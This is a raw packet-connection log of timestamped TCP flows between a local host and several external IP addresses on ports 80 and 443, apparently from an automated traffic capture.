Jul 4, 2024 22:20:39.194581032 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194586992 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194597006 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194621086 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.195075035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195086002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195095062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195106030 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195116997 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195125103 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.195127010 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195135117 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.195138931 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195167065 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.195183039 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.195383072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195394039 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195405006 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195417881 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195427895 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195429087 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.195440054 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195449114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.195457935 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.195472956 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.195488930 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215339899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215403080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215414047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215465069 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215464115 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215476036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215483904 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215490103 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215528011 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215559959 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215564966 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215575933 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215609074 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215665102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215675116 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215683937 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215692997 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215704918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215704918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215729952 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215749025 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.215931892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215943098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215951920 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215961933 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215972900 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.215972900 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.216005087 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.216017962 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.216130972 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216141939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216151953 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216164112 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216175079 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216176033 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.216203928 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.216219902 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.216387033 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216398001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216407061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216418028 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216425896 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.216428995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.216451883 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.216490984 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.259274006 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.259443045 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:41.919540882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:41.922123909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:42.832942963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:42.833822012 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:45.091445923 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:45.091495991 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:45.091862917 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:45.096301079 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:45.096322060 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:45.771054029 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:45.771256924 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:45.775788069 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:45.775794983 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:45.776025057 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:45.809242964 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:45.852502108 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.046871901 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.046933889 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.046981096 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.047060966 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.047074080 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.047084093 CEST	49715	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.047089100 CEST	443	49715	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.095900059 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.095930099 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.095998049 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.096276999 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.096292019 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.766362906 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.766560078 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.786755085 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.786767960 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.787048101 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:46.788683891 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:46.832501888 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:47.049217939 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:47.049278021 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:47.049949884 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:47.049988031 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:47.049998999 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:47.050008059 CEST	49716	443	192.168.2.5	184.28.90.27
Jul 4, 2024 22:20:47.050012112 CEST	443	49716	184.28.90.27	192.168.2.5
Jul 4, 2024 22:20:52.126940012 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:52.126980066 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:52.127043009 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:52.127389908 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:52.127398968 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:52.920125961 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:52.920237064 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:52.921713114 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:52.921720028 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:52.921937943 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:52.930275917 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:52.972507000 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.256582975 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.256601095 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.256613016 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.256711960 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:53.256726980 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.256772995 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:53.257790089 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.257839918 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.257855892 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:53.257863045 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.257884026 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:53.258282900 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.260077953 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:53.261091948 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:53.261106014 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:20:53.261122942 CEST	49717	443	192.168.2.5	20.114.59.183
Jul 4, 2024 22:20:53.261127949 CEST	443	49717	20.114.59.183	192.168.2.5
Jul 4, 2024 22:21:03.418914080 CEST	49718	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:03.425153971 CEST	80	49718	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:03.425241947 CEST	49718	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:03.425343990 CEST	49718	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:03.430794954 CEST	80	49718	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:04.129435062 CEST	80	49718	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:04.129719019 CEST	49718	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:04.130285978 CEST	49718	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:04.135073900 CEST	80	49718	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:04.355559111 CEST	80	49718	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:04.358191967 CEST	49718	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:04.360894918 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:04.365690947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:04.370109081 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:04.370266914 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:04.375926018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.060921907 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.060937881 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.060947895 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.061037064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.061049938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.061059952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.061073065 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.061184883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.061196089 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.061198950 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.061207056 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.061255932 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.061286926 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.066306114 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.066318035 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.066364050 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.176995039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.177145004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.177155972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.177172899 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.177194118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.177407980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.177524090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.177556038 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.177567005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.177577972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.177589893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.177606106 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.177628040 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.177963972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.178196907 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.178368092 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.178409100 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.178512096 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.178556919 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.178714037 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.178724051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.178735018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.178744078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.178754091 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.178782940 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.179282904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.179292917 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.179323912 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.179341078 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.179477930 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.179490089 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.179498911 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.179533005 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.180265903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.180310011 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.180917025 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.180963039 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.182075024 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.182085991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.182121992 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.267194986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.267378092 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.267971039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.268024921 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.293747902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.293920040 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.293931961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.293942928 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.293943882 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.293953896 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.293961048 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.293967009 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.293977022 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.293987036 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.293991089 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294019938 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294034958 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294218063 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294228077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294238091 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294294119 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294312954 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294363022 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294373989 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294399023 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294426918 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294538975 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294555902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294569016 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294581890 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294591904 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294615030 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294787884 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294799089 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294807911 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294820070 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.294827938 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294842005 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.294871092 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.295084953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295126915 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.295229912 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295269966 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.295458078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295469046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295479059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295516968 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.295537949 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.295599937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295609951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295620918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295634031 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295650005 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.295680046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.295985937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.295995951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296046019 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.296140909 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296158075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296168089 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296178102 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296190023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296200037 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.296230078 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.296288013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296298981 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296308994 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296320915 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296333075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296334028 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.296369076 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.296387911 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.296914101 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.296953917 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.297110081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.297121048 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.297152996 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.297278881 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.297288895 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.297324896 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.297350883 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.356724977 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.356745005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.356756926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.356803894 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.356834888 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.356856108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.356867075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.356899977 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.387414932 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.387479067 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412580013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412619114 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412646055 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412667990 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412683964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412727118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412738085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412763119 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412781000 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412786007 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412796021 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412796974 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412818909 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412823915 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412841082 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412842035 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412858963 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412867069 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412870884 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412882090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412884951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412895918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412903070 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412906885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412920952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412923098 CEST	49719	80	192.168.2.5	77.91.77.81
